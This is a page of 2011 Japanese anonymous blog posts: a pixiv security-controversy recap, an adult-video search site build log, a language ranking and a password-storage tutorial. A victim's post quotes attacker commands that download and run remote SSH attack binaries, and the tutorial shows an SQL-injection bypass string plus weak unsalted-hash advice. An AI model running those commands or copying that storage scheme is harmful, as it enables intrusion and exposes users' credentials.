カード情報決済代行会社が保存していると運営から「なぜか」一部ユーザーメールで通知されていたようで、ここまでの騒ぎになっておきながらサイトトップでも発表しないなど、さらに不信感が募る。

まとめ

ID漏洩する危険性がある」という問題点から、罪のないユーザーが被害に遭うことを防ごうしたものの、サービス開始時から仕様改善される望みが薄い。

さらに管理者ページが外部から閲覧できたことは、あってはならないセキュリティ意識、にもかかわらず、「批判は的外れで間違いだらけ」というまさに的外れな擁護ツイートが広まる。

ここまでサンドバックになってて何も発言せずパスロックを実装するpixivある意味凄いが、その沈黙がさらなる疑惑を生んでいることにいつ気が付くのか。

pixivセキュリティ騒動についてまとめておく

togetterchromeが固まるくらい重いのと、書いてある内容に同意できてもエタ東となる4時の組み合わせは負けた気分になるので、自分用に。

最初に書いておくと、これはpixiv擁護ではない。というより、擁護できる部分は特にない。

前提知識

pixivを潰したがっている人たちというのがいて、連日火をつけようと頑張っている。

大体想像できる動機はこんなところ。

ほぼメンツは固定しているので、毎度の騒動で発生源となっているtogetterまとめを網羅的に眺めると、誰が火をつけようとしているのか分かりやすい。

はてブでいうとb:id:sa_tieb:id:katsura_1b:id:tailtame辺りが該当。彼らを駆り立てているものは一体何なのか。(なお、エタ東も方向性が違うだけで同類にカテゴライズしている)

もっとも動機が不純だからといって、成すことが正しければ良い結果をもたらすこともあるし、独善が「悪事」としか呼べない暴走を引き起こすこともある。評価は人による。

ID漏洩騒動

pixivの新規登録画面は極めてシンプルで、pixiv idの用途については特に記されていない。(※要改善

登録するとユーザーにはユニーク数字idが付与されるので、pixiv idログイン用のみだと考えている人は少なからずいるようだ。

実際にはpixiv id名でディレクトリが作られるほか、スタックフィード(活動履歴)のidアカウントを共用するpixivブログや、姉妹サイトdrawrflashで手書きできるサイト)のidとして利用されている。

pixiv idを外部から見られないものとして、個人名を使うなどする人もいて、問題となったことは過去に数度ある。id変更の機能追加をするという話もあったが今のところは実現していない。

今回の騒動の発端となったのはこのpixiv id画像絶対パスから参照可能だ、という最初から判明していたことをid漏洩だと騒ぎ立てたことから始まる。

パスロック騒動

id漏洩したわけではなく、最初からこのような仕様で、スタックフィードなどからidを参照することは可能だ」と判明したことで、祭りは次段階に移る。

パスワード総当り攻撃に対する対処がない、悪意あるユーザーブルートフォース攻撃を仕掛ければ突破されてしまう」と騒ぎ立てた。この辺りからただの言いがかりレベル

確かに現在PCスペック技術の向上は目覚しく、家庭用でもハイスペックPCがあれば簡単なパスワードであれば数分~数十分で破ることもできるとされる。

が、それはメモリ内で高速に試行できるローカル環境上の話であって、web上のパスワード認証に対して必要とする時間は全く別物という視点が抜け落ちていて、とても現実的ではない。

例えローカル上で10万回/秒でログイン試行できるPCでも、web上のパスワード認証に対しては通信とサーバーレスポンスボトルネックとなって100回/秒程度のパフォーマンスしか発揮できないと思う。

並列で大量にリクエストを殺到させればサーバーが落ちるだけだし、そもそも膨大なオーダーのログイン攻撃が仕掛けられれば、突破するより前にファイヤーウォールが異常を関知するか、サーバー管理者が気付く。

そもそもイラストコミュニティサイトに対して逮捕されるリスクを犯して潜入したところで、成りすまして暴言コメントを書いたり個人情報を抜く程度で、不正アクセスリスクにリターンが見合っていないわけで…。

大手ポータルサイト銀行携帯キャリア、有料ポイント運用するネトゲなどであればそれなりに堅牢なログイン構造にすると思うけど、お絵描きコミュニティパスロックがないというのが即叩き材料になるとは思えないが。

もちろんパスロック自体はないよりはあった方が安心できるのは間違いない。でもセキュリティ専門の人ならまずhttpsログインできないことを指摘するよね。

admin騒動

admin.pixiv.net他に接続するとグローバルIPからでもログイン認証が出てくるというもの。発覚してから1時間程度はアクセスが可能だった。

あくまでログイン認証画面が出てくるだけで、ID/パスワードが判明したわけでもなく、webログイン認証に対するブルートフォースは非現実なのは変わらないが、「クラックされた」「ロジックボムが爆発する」など大騒ぎする。

更に尾ひれが付いて「adminツールが流出した」「バックドアが仕掛けられた」「ログインキーロガーが仕掛けられている」「アクセスするとウイルスを仕込まれる可能性がある」「今すぐ退会せよ」など騒がれる。

普通に考えれば、そこまで大事になっているのであればサーバーを落とすわけで、実害はないのだろうな、と思うわけだけど「既にハッカーに乗っ取られていて、運営は手も出せないのでは」とまで言い出す人まで。

アイマス2に男キャラが追加されたのをきっかけに「可能性を生み出しただけでアウトなんだよ!」とネガキャンしまくっていた人たちを思い出す。

セキュリティ問題とギャルゲーを同一視するのは間違いだ」という指摘は正しいけれど、ハッカー映画に影響された「俺の脳内セキュリティ問題」なんてゲーム世界と大差ない。

It workssl!騒動

admin.ads.pixiv.orgに接続すると「It workssl!」と表示されるもの。これがapacheデフォルト表示「It works!」と異なることから、「ハッカーに書き換えられた、侵入の痕跡だ」と大騒ぎする。

ads.pixiv.orgは広告関連のサーバーのようで、万が一侵入されていても個人情報流出する可能性は低いのだけど、「個人情報マニアに売られている」「カード情報も抜かれている」と騒がれる。

実際にはカード情報決済代行会社が保存しているようで、アカウント不正アクセスで潜入しても見られるのはカード末尾4桁のみ。

まとめ

ID漏洩した」という新たな材料で騒ごうとしたものの、実は既出仕様だったためにパスワード総当りの「可能性」によるセキュリティ問題に切り替える。

そこから管理者ページが外部から閲覧できたことを、管理者権限が奪われた「可能性」があると話を大きくし、どうも全体の根拠が怪しいと分かると「何も言わないpixivは不誠実だ」と批判する。

ここまでサンドバックになってて何も発言せずパスロックを実装するpixivある意味凄いが、それが付け入る隙をネチネチと探すネット暇人クレーマーたちの加虐心をくすぐって余計な火種を生んでいることにいつ気が付くのか。



追記:セキュリティ関連については悪意を持ったユーザーに狙われる可能性があることから、表に告知を出さないというのがpixivポリシーらしく、直接メールで問い合わせれば返事は受け取れるそうです

不安な方はデマかもしれない情報無責任に広める前に、直接運営に問い合わせましょう。もちろんパスワードを変えるなど自衛も重要です

http://anond.hatelabo.jp/20110809000604

マネージャーマネージメントできてそのスキル歓迎されるだろうけど、それしかできないならそりゃ転職は大変だろうなぁ。そもそもapachじゃなくてapacheだ。頭の問題っていうかやったことの量の問題な気がする。

2011-08-04

独学のプログラムエロ動画検索作ってみた

【お知らせ】2011/09/07

新しいエロWEBサービス作りました

http://d.hatena.ne.jp/uniqueweb/20110906/1315285545



プログラムは全く得意じゃないけれど最近よく見かけるようになったエロ動画検索自分でも作ってみたくて頑張ってみました。

近年、インターネットの普及によりエロ動画が自宅で簡単に見れるという素晴らしい時代になりました。

自分が若い頃はインターネットなんてものはなくエロビデオが主流でドキドキしながらレンタルビデオ屋に行き、可愛い女の子レジにいない隙を見計らってお兄さんにパッケージを伏せて空箱を渡しビデオを借りたものでした。

お兄さんにビデオ空箱を渡そうとした時に可愛い子がレジに戻ってきて焦って渡すのをやめてものすごく変な動きをしながらエロビコーナーに引き返していくなんてことも多々ありましたw

僕のお気に入りといえば「白石ひとみ」や「あいだもも」といった女優でよく借りてました。エロビを借りるということがものすごく恥ずかしい時代?年頃?でカモフラージュ普通ビデオと一緒に借りるということもしていました。それはそれは大変な思いでオナニーしてたんです

しかも、ビデオデッキ自体が貴重な時代でリビングに一台しかないのが当たり前でした。

深夜家族が寝静まってからヘッドフォンビデオを抱えリビングに行き暗がりの中でヘッドフォンテレビ差し込んでビデオ再生ボタンを期待に胸をふくらませながら押したものです。いいシーンを何回も見るためにビデオを巻き戻すんですが、ビデオを巻き戻すガチャガチャンという機械音で家族が起きてこないか?とかそれはそれはドキドキしながら見てました。一仕事終えたあとヘッドフォンを外したらジャックが外れていて大音量で喘ぎ声が響き渡っていたなんてこともありました。誰も起きてこなかったのは優しさなんでしょうか?w

さて、大分前置きが長くなりましたがエロというものものすごい技術発展させるものだと思いますエロのおかげで日本ビデオは普及しエロのおかげで日本インターネットものすごく普及したと言っていいと思います自分エロを通して技術の発展に貢献し自分自身のスキルアップになれば。という高い志を持ってこのサイト制作しました。決して自らのオナニーライフの充実と性癖を充たすため作ったわけではありません・・・

※2011.08.07 利用中のサーバーに障害が発生しているようで現在サーバー接続できない状態となっています・・・

※2011.08.07 23:53 復帰した模様です

サイト名:ヌキネーター

サイト名の由来は抜きネタからきています。抜きネーター、ヌキネーターという感じです

エロサイト制作工程日記にしてみたんで良かったら読んで下さい。そしてこのサイトを使って夜いろいろと励んでくれたら嬉しいです

では制作日記を書いていきたいと思います

サーバー選び

まず前提条件としてお金ほとんどかけたくない。アダルトサイトであるということから

サーバー選びからはいりました。

月の予算は5000円以内で考えていたのでけっこう探すのが大変でした。

日本アダルトサイトを許可している所はかなり限られていてさらにやりたいことができるのは

専用サーバーVPSしかないのでそうなると専用サーバー予算オーバーなので

VPSで探すことになり検索しまくってはじめに見つけたVPSはKAGOYAのVPSだったのですがβ版で募集を締め切っていて泣く泣く諦めました。

KAGOYAはかなり評判がいいみたいなので使ってみたかった。

次に見つけたのが○○○VPS海外サーバー日本語サポートがあり転送量の制限なしディスク容量100G

月1300円程度で借りれるということで初期設定費用に5000円程度かかりましたが借りてみました。

結果、ここは最悪でした。

  • 通信が頻繁に切れる
  • 激重
  • 借りて一ヶ月もしないうちにサービス継続が困難になりそうなのでIPが変わるとかメールがくる
  • まりに通信環境が悪すぎるとメールすると環境調査に協力してくれとメールがくる
  • 時間をかけて沢山の項目を調べて返信するも全く返答がない。

まりの酷さに1ヶ月で解約。

よく調べてみたら評判がものすごく悪い某VPS再販らしいです

お金時間をドブに捨てました・・・

もう失敗したくないと思い今度は比較的有名な海外サーバーLINODE

日本語サポートはないけれど抜群のサポートです

iptablesの設定でどうしてもうまくいかなくて拙い英語メールしてみたら

10分しないうちに返信がきました!

メールに書かれているとおりにコマンド入力したらあっさり解決。

素晴らしい!はじめからLINODEにすればよかった。

担当ブライアンはなぜか分からないけどとてもフレンドリーで親切に感じましたw

サーバー設定

LINODEは複数のディストリビューションから好きなものを選択できるので

とりあえず、64bit版を選択。

サーバー設定はほんとに面倒ですね。

一番面倒だけど重要だということで

SSH

Tripwire

chkrootkit

Clam AntiVirus

iptables

Apache

SSL

その他各種監視ツールの導入をしました。

ほんとに面倒でした。

データベース

はじめはmysqlストレージエンジンgroongaを使おうと思ったのです

初めに借りた最悪なVPSOSが32bit版だったのでgroongaがのソースが見つからずなぜかと思っていたら

どこかで見つけた記事で32bit版ではgroongaの性能を発揮しきれないということで32bit版の提供をやめてしまったらしいと書いてたので

じゃあ、sennaにするかということで最悪VPSsennaインストール

その後LINODEに変更したのでOSに64bit版を選択し念願のgroongaをインストール

しかし、調べてみると

などが理由で、結局sennaに戻して2度手間に・・・

プログラムもそれに合わせてその都度書き換えたので2度手間どころか3度手間4度手間でした・・・

senna導入はrpmでさくっといけるので簡単です

依存関係で少しはまりました。

まず

# rpm -qa | grep -i mysql

mysqlインストールされてたら削除

perl-DBIが必要なのでインストール

# yum install perl-DBI

そして下記の順番でインストール

rpm -ivh mecab-0.98-tritonn.1.0.12a.x86_64.rpm

rpm -ivh mecab-ipadic-2.7.0.20070801-tritonn.1.0.12a.x86_64.rpm

rpm -ivh senna-1.1.4-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-shared-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-client-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-server-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-devel-5.0.87-tritonn.1.0.12a.x86_64.rpm

my.cnfの設定をして終了

で肝心の全文検索ですデータ件数が5万件程度で少ないせいなのか、あいまい検索と比べてそれほど速さを実感できなかったです・・・

でもきっとすごく速くなったはず!

ちなみに「麻美ゆま おっぱい」で検索した場合、0.01 secで結果が返ってきました。


動画データ作成

さて、動画データ作成ですがいくつかのエロサイト制作記事でもあるようにスクレイピングということをします。

スクレイピングとはWEBサイトから特定の情報だけを取得することでネット上にあるサイトクロールして必要なデータだけを拾ってデータを作るといった感じでしょうか。

スクレイピングプログラム自体は以前にTidy関数を使って為替データ10分おきに取得するような物を作ったことがあったのでそれほど時間はかからいかなと思ったのですがけっこう時間かかりました。

スクレイピングにはTidyhtmlSQL、それにPHP Simple HTML DOM Parserを使いました。

下記のサイトを参考にしました。

phpによるスクレイピング処理入門

SQL みたいな文法で HTML を抽出する PHP のライブラリ

htmlSQLよりアツい!?jQueryみたいにセレクタでHTMLをparse(解析)する「PHP Simple HTML DOM Parser」

つの中で抜群に使えるのはPHP Simple HTML DOM Parserだったんです

ループ処理させるとメモリがすごいことになって今回のようなスクレイピングに向いてないみたいで

結局、htmlSQLTidyの両方を使ってスクレイピングしました。

両方ともPHP Simple HTML DOM Parserに比べるとうまくデータの取得ができないことが多く残念な感じなんですが他に選択肢がないので・・・

使える順に並べると

PHP Simple HTML DOM Parser

htmlSQL

Tidy

といった感じかもしれません。

おおまかにデータを取得して正規表現で特定データを抜き出しました。

広告との連携

広告にはDMMアフィリエイトを利用しています

http://affiliate.dmm.com/link.html

利用可能な物はパッケージ画像、サンプル画像(縮小)と書かれていたのでそれに従い画像を利用。

注記に※ユーザーレビュー引用いただけません。とだけ書かれているのでそれ以外は引用ありと判断して説明文とタイトルなどを利用

女優データジャンルデータDVDデータ、を紐付けたデータベース作成検索ワードに応じて検索結果に関連する商品を表示させるようにしました。

現状、売り上げ0で意味があるのか分かりませんけどw

負荷対策とか転送量とかDOS攻撃対策とか

エロサイトということで多少はチューニングとか設定とかしないとまずいかもと思い色々調べて設定しました。

やったこと

KeepAlive On

MaxKeepAliveRequests 60

KeepAliveTimeout 3

<IfModule prefork.c>
StartServers       7
MinSpareServers    5
MaxSpareServers   10
ServerLimit       30
MaxClients        30
MaxRequestsPerChild  4000
</IfModule>

様子見ということで2日間で設定してみました。

query_cache_limit=1M

query_cache_min_res_unit=4k

query_cache_size=16M

query_cache_type=1

とりあえずこんなところを設定してみましたが、爆発的なアクセスがあるわけでもないので有効なのか今のところ分かりません(-_-;)

Apache Benchでテストはしてみましたけど問題はない感じですが実際にチューニングができているか分かりません。


サイトデザイン

プログラマーとして有名なゆうすけさんのサイトgoogleを参考にしました。

シンプルで使いやすいようにしようと思いこのデザインしました。

3カラム中央可変となっています

クロスブラウザIE7、firefox3、chromeで行いました。

可変ものって作ったことなかったんですがけっこう面倒なんですね。

サイト機能

ブックマーク機能とメニューの折りたたみ機能検索結果の表示方法切替を作りました

まず、ブックマーク機能ですログインなしで気に入った動画ブックマークできるようにしました。

ブックマークに追加した動画ブックマークページで確認できるようにしました。

cookie機能を利用したらいけると思い色々調べてjquery.cookie.jsを利用。

保存したクッキー情報を呼び出してphpに渡して処理し指定要素にブックマーク一覧をloadメソッドで表示させるという感じです

$(function(){
$("#youso").load("xxx.php");
});

メニューの折りたたみ機能は人気AV女優AV女優別、人気タグなどをそのまま表示させるとずらっと長くなって邪魔だったのでつけました。

これには同じくjquery.cookie.jsを利用しました。

参考サイトhttp://blog.caraldo.net/2009/03/newjqqookiemenu.php

検索結果の表示方法切替にはZoomer Galleryを利用しました。

参考URLhttp://phpjavascriptroom.com/?t=ajax&p=jquery_plugin_zoom#a_zoomergallery

検索結果ページで表示される

[ここの画像]

××× の検索結果

44件中 1~10件目を表示

ここの画像の部分をクリックするとgoogleイメージ検索みたいに一覧でイメージ表示できるようにしてみました。

動画表示ページ

基本的に動画の埋め込みを許可しているサイトのみプレイヤー表示をしそれ以外は画像を表示し動画データリンクするようにしました。

埋め込み部分はあらかじめそれぞれのサイト対応したプレーヤー部分のコード記述しVIDEOIDの部分に置き換えるような形にしました。

XVIDEOSを例にすると

XVIDEOS場合かならず動画urlhttp://www.xvideos.com/videoXXXXXX/のようになりますのでXXXXXXの部分を

VIDEOID部分に置き換えるようにプログラムを組みました、

埋め込み部のソース

>||<object width="510" height="400" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" ><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://static.xvideos.com/swf/flv_player_site_v4.swf" /><param name="allowFullScreen" value="true" /><param name="flashvars" value="id_video=VIDEOID" /><embed src="http://static.xvideos.com/swf/flv_player_site_v4.swf" allowscriptaccess="always" width="510" height="400" menu="false" quality="high" bgcolor="#000000" allowfullscreen="true" flashvars="id_video=VIDEOID" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></object>
||<

その他の動画サイトURLの一部分のデータを使っているので同様の処理をしました。

まとめ

実際の作業は2、3週間ですが色々調べる時間が多くて制作に2ヶ月くらいかかりました。

自分エロ動画検索を作ってみて有名プログラマーさん達がいかに優秀なのか思い知らされました。

皆さん思いついて数日で作ってしまうのでびっくりです

全くWEBの知識がない人で4、5ヶ月ですごいの作っちゃう人とかもいるみたいですし世の中広いな~と思います

しかし、エロサイト作りで勉強になりますね~

大分、色んな知識を得ることができました。

これからプラグラム勉強しようと思う人はぜひエロサイトから入ってみて下さい。

きっと楽しいですよ!

そんなこんなで?頑張って作ってみたエロ動画検索、良かったら使ってみて下さい。

これで少しは技術の発展に役立てたでしょうか?w

アダルト動画検索ヌキネーター

P.S エロサイトを作っていてはじめは楽しくて興奮しながら作ってたのです最後の方はエロい物を見ても全く反応しなくなりましたw

  不能ではないんですけど・・・現在も性欲が著しく減退しております・・・

  そしてスーパーpre記法がうまういかないのはなぜ?はてな匿名ダイアリー投稿全然からない・・・

  そしてそしてプログラマーさんとかデザイナーさんとかエロい人とかお気軽にお声をおかけ下さい。



【お知らせ】2011/09/07

新しいエロWEBサービス作りました

http://d.hatena.ne.jp/uniqueweb/20110906/1315285545

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。



このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。



「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-07-07

そろそろApacheからNginxに移行したい人の、Nginx スターティング・ガイド

AV女優.comをApacheからNginxに移行したので、掻き集めた情報をまとめました。 http://blog.av-jyo.com/2011-07/first-steps-for-switching-from-apache-to-nginx.html

2011-04-14

パスワード個人情報を扱うサービスを作る際に気をつけたこと

HTMLはわかるけど、サーバーサイドはお遊びでphpを触ったぐらいだったので、会員制でデータをためこむサイト作りに初めて挑戦した

今回重視したのは、「いか個人情報をお漏らししないようにして、万が一漏らしても被害を少なくするか」ということ。

世の中、有償サービスでもパスワードを平文で保存してるサービスが意外と多いらしいので、流出した時のリスクを少しでも減らせる対策として書きます

今回のシステム構成

サーバーロケットネットキャンペーンにでレンタルサーバ年1000円ポッキリプラン

クライアント側の処理HTML+CSS+jQuery(とプラグインもろもろ)
サーバ側の処理PHP
WebサーバーApache
データベースMySQL

個人情報こわい!

個人情報ビビる漏洩とかまじ困るし怒られるしこわい。

俺も巻き込まれたところでは、サミータウンがメールアドレスパスワードセットでお漏らししてお詫びに1ヶ月無料なにそれこわい

サミータウンだけならまだいいけど、メアドパスワードを他のサービスで共通化して使ってる情弱なので、

共通化してメアドパスワードをどこかのサービスが一箇所でも漏らすと、ヤフオクID乗っ取り事件みたいなことになる。

http://internet.watch.impress.co.jp/cda/news/2008/09/26/20967.html

だってできれば人様のメールアドレスパスワードとか預かりたくない。

万が一、肉親のメールドレス発見してパスワードにrapemeとか入ってたら明日からどういう顔すればいいかからない。

ググってみてもどこにも情報のってない。うーん困った。ダメもとで「個人情報ってどうやって保存したらいいんだろう。。。」

って、twitterでつぶやいたら、「住所とかは可逆暗号化でいいけど、パスワードハッシュで不可逆化しないとだめだよ!」

と、呪文のようなありがたい言葉を教えてもらった。

暗号化の種類

「住所とかは可逆暗号化でいいけど、パスワードハッシュで不可逆化しないとだめだよ!」

何のことかわからなったので、調べてみると、

・可逆暗号=元のデータに戻せる暗号化方式。

ハッシュハッシュ値を使った、元のデータに戻せない暗号化方式

うーん。。。よくわからん。。。

電話番号とか住所は、第三者が使用する情報なので、可逆が必要。パスワードは、認証しか使わないので、

ハッシュ値結果が一致すれば元のデータがわからなくてもOK、という方式なのでこういった暗号の使い分けをする。

●可逆暗号イメージ(もとにもどせる) 暗号キー開発者が指定する。
090-xxxx-xxxx →(暗号化)→ !'&%($% →(復号化)→ 090-xxxx-xxxxハッシュイメージ(もとにもどせない) 
登録passwordDBに保存)→(ハッシュ値抽出)→!"$#'$#="
ログインpassword →(ハッシュ値抽出)→!"$#'$#="
※二つのハッシュ値が合っていれば、パスワード一致として認証する。

暗号化の実現方法

可逆暗号電話番号とか住所とかに適用

今回はMySQL関数で実現した。encode関数暗号化して、decode関数でもとに戻す。

例えばtel_noという項目だけあるテーブルがあるとすると、

//データベースに保存する時
insert into テーブル名 (tel_no)  values (encode(tel_no,'暗号キー'));
//データベースから取得する時
select decode(tel_no,'暗号キー') from テーブル名;

これで、データベース格納時は暗号化(バイナリ化)されて、データベースから取り出してHTML表示する時に復号化はされる。

ハッシュパスワードかに適用

今回はphpのhash関数で実現した

ユーザ登録時>

$password=(フォームから取得)
$hash=hash('sha512',$password)
//ユーザ登録時は、ここで生成した$hashをデータベースにぶっこむ。

ユーザ認証時は、入力されたパスワードと、データベースパスワードが一致するかチェック。

ログイン認証時>

//フォームから入力されたパスワード
$input_password=(フォームから取得)
$input_hash=hash('sha512',$input_password);

//MySQLに保存されたパスワードを取得(略)
$db_hash==(データベースから取得)

//判定
if($input_hash==$db_hash)
	echo 'ログインしますよ!';
	//ここにログイン処理を書く
else
	die('メアドパスワードがあってないよ!');

これでもしSQLインジェクションとかでデータ流出しても、ハッシュ暗号パスワードに関してはまず解析されないはず。。。

可逆暗号データphp側の暗号キーが盗まれない限りバレない。。。はず。。。

暗号化する対象のデータをえらぶ

何でもかんでも暗号化するとコードが煩雑になるし、パフォーマンスにも影響でそうなので、

住所データ都道府県とか、漏れても良いような情報暗号しませんでした!!

本人が特定できなければ個人情報はないらしいので。。。

個人情報保護法
2条による定義個人情報」とは、生存する個人に関する情報であって、当該情報に含まれる氏名、生年月日その他の記述等により特定の個人を識別することができるもの(他の情報と容易に照合することができ、それにより特定の個人を識別することができることとなるものを含む。)をいう。

http://ja.wikisource.org/wiki/%E5%80%8B%E4%BA%BA%E6%83%85%E5%A0%B1%E3%81%AE%E4%BF%9D%E8%AD%B7%E3%81%AB%E9%96%A2%E3%81%99%E3%82%8B%E6%B3%95%E5%BE%8B#2

これで、もし漏れても、俺、ウンコ漏らして臭いけど、パンツから出てないからいいよね?というレベルはなった。はず。

お漏らさないようにキツくする

万が一漏れても大丈夫!と書いたけど、そもそも漏らすなというお話になる。色々調べた結果、以下の対策をほどこした

SQLインジェクション対策

・当初jQuery側でSQL組み立ててPHPに渡してたので、これだと任意のSQLが実行できて漏らし放題なのでやめる。

GETとかPOSTでDBに渡すパラメータを扱ってる場合、ちゃんとエスケープする。

例えばログイン認証するPHPで、GETメソッドでフォームからデータを取得するような場合

$id=$_GET['id']
$pwd=$_GET['pwd']
$sql="select * from ユーザーテーブル where uid='$id' and pwd='$pwd'

とかやってると、login.php?id=admin'&pwd=' OR '1'='1とかパラメータを渡されるとあら不思議

select *from ユーザテーブル where uid='root' and pwd='' or 1=1

で、誰でもログイン出来ちゃう!ので、mysql_real_escape_stringでエスケープしたり、渡されたパラメータが想定した値かどうか(例えば数値かどうか、とか)のチェックをいれたりする。

クロスサイトスクリプティング

・保存するデータタグJavascriptを埋め込まれないように、保存されたデータを出力する場合PHP側でhtmlspecialchars関数使ってエスケープするようにする。


こんな感じでお漏らし対策をした。間違いがあったら教えて欲しい

ちなみに出来上がったサイトはこれ。

http://oreni-makasero.com/

2011-02-20

これからweb開発に携わりたいと考えている人にお勧め言語

一説によると有史以来開発されたプログラミング言語は4000を超えるとされている。その中でどの言語を選べばいいのか初学者にとっては悩みの種であろう。この記事ではそんな初学者のとっかかりとなることを想定して書かれている。

Javascript(お勧め度☆☆☆☆☆)

Javascriptは長らく「使えない糞言語」とのレッテルを張られていた言語である2005年からAjaxの台頭で価値が見直され、2010年からnode.jsの盛り上がりで一気にweb開発の主要言語の一つに躍進した

node.js現在活発に開発が進んでおり今年中には実践投入が可能になる画期的アーキテクチャとなる可能性が高い。それによって「クライアントサイド」と「サーバーサイド」をどちらもJavascriptで開発できることになり、これはよく比較対象にされるLLのライバル達が絶対になし得る事の出来ない独占的なメリットであるiPhoneandroidアプリJavascriptで開発が可能なTitaniumの登場で最早死角が見当たらない状況になっており、求人数は急伸することが予想されている。

web開発初心者ファーストチョイスするプログラミング言語に最も適していると自信を持って断言できる唯一の言語である

この言語の対象分野:クライアントサイド、サーバーサイド、スマートフォン(iPhone,android)

著名なプログラマamachang(webエンジニアアイドル) mala(Best Japanese Javascript Programmer)

 

Java(お勧め度☆☆☆☆)

COBOLのようなレガシー言語を除けば世界中で最も基幹分野に使われている重要需要の高い言語Javaである求人数も圧倒的に多く安定した職が得やすい。LLに比べて冗長な記述が必要とされるがその反面高いパフォーマンスを実現しており、またプラットフォームを問わない広い守備範囲と大規模開発に向く言語特性が相まって10年近くプログラミング言語王者として君臨している。

近年web分野でも大規模データ処理が求められるようになってきたが低パフォーマンスなLLでは実現不可能な大規模分散処理をJava可能にしている。オープンソースプロジェクトの雄ApacheプロジェクトでもJavaが使われたソフトウェアの勢いが最も盛んである

学者が習得するのには少し時間がかかると言われているが一度習得してしまえば君の知肉となり人生を豊かなものに導いてくれる万能言語と言えるだろう。

この言語の対象分野:サーバーサイド、スマートフォン(android)

著名なプログラマ:ひがやすを

 

Ruby(お勧め度☆☆☆)

webフレームワーク歴史を変えたRuby on Railsの登場により一気にwebアプリケーション開発の主役級に躍り出たRubyも初学者お勧めできる言語の一つだ。シンプルで可読性の高い文法で簡単に習得できるであろう。しかし他の言語と比べると求人数は少なく、後述するPythonの伸びにも押されてシェアはあまり伸びないとされる。

著名なプログラマmatz(Ruby開発者 世界的に最も名の知れた日本人エンジニア)

 

Python(お勧め度☆☆☆)

Rubyとよく比較される事の多いPythonは今後5年かけてシェアを確実にのばすJavascript以外の唯一のLLであるGoogleが肝いりであるという抜群の追い風にのって世界的にはシェアを急速にのばしつつあるが日本国内ではあまり人気がない為にweb上の情報が少ないのが難点。国内での求人ほとんど無い。Ruby同様にシンプルな文法で可読性が高く学びやすい。オライリー書籍等でアルゴリズムの解説に使われる事が多くなってきたために書けなくとも最低限読めるようになっておくとよい。

 

Perl(お勧め度☆)

もはやPerlプログラマと名乗るだけで嘲笑の的となった感のあるレガシー言語進化の速いwebにおいて10年前からほとんど何も変わらない希有な存在。「モダンPerl」などと質の低いマーケティング戦略に頼らざるを得ない悲しいぐらい進歩が無いために最も勧められない言語である

著名なプログラマotsune(年中暇そうなnetwatcher)

 

PHP(お勧め度☆)

スパムサイト詐欺サイト犯罪サイトに使われることが最も多い言語。書き手の質も総じて低い。

著名なプログラマ:akiyan(ペニーオークション愛好家)

2011-02-11

http://anond.hatelabo.jp/20110211004212

元記事にも100人1000人のユーザーならSQLでも問題ないって話をしたと思うが 1万人ユーザーって簡単なの?そもそも。って話だよね。

そしてその時のサービスは本当にツイッターたいな大量データサービスなの?と。(それってツイッターのコンペでサービスとして成り立たなそう。違えばいいけど)

 

ORACLでハイエンドサーバーグリッド使うのと 自分MYSQL分散書くのと HADOOPにするのと どれが得かはやってみないと分からん

ダウンタイムを短くしようとすると、2011年現在では組めるならばオラクルな気はする。すくなくとも簡易的にベンチとらないとわからん

 

Hadoopの怖いところは所詮Apache.orgということで、Apache.httpdのように急激な開発が流行から外れて止まってるかのようになることがあることなんだよねぇ。

Apache.httpdって、MPMいまだpreforkとか あってWorkerで event とかって、しばらく前は、いま不安定とかそういう開発状況だと思ってるんだけど。

event MPMってもう安定化したの?event MPMのコア概念である

 『Workerですら遅いから カーネルコールバックを使おうっていう流れ』自体はもう10年近く昔の概念だと思ってるんだけど・・・

 

現在 一番イケてるのはHADOOPだとは思うけど。 Rubyが一時期ほどには勢いがないのと一緒で(いちおうRoRから知っているみとしては、RoRによる隆盛が奇跡のようなものだが

まだ、怖いよね。 障害復旧の実装もまだ、弱いし。個人的にはZookeeperがもっとちゃんとなったら、もう1度 調査する! という感じで塩漬け状態なのがHadoop.

少なくとも単一障害点のフェールーバー周りが本家でどうなるかとかだねー。

 

どうでもいいけどPHPの方が好きなので PHP for apache event MPMを安定化希望・・・ まぁ、Perlもいいよね。

 

だがRubyPASCAL だけは無理だ。BEGINとか書いてあるソースを高速に読みこむのは無理。()ぐらいならいけるけど、BEGINってなんだよ。図形認識できないから読みづらいよ。

2011-01-19

Buffaloメールした件の続き

前回の結果に返信をしたところ、次のようなものが返ってきた。

バッファロー製品お問合せ受付の件 : お問合せID No.xxxxxxxxxxxxxxxxxx

お客様

平素は弊社製品をご愛顧賜り、誠にありがとうございます

バッファローE-Mailサポートよりご質問いただいた件についてご連絡いたします。

※今回頂戴しましたお問い合わせに対するご返信、追加のご質問は、

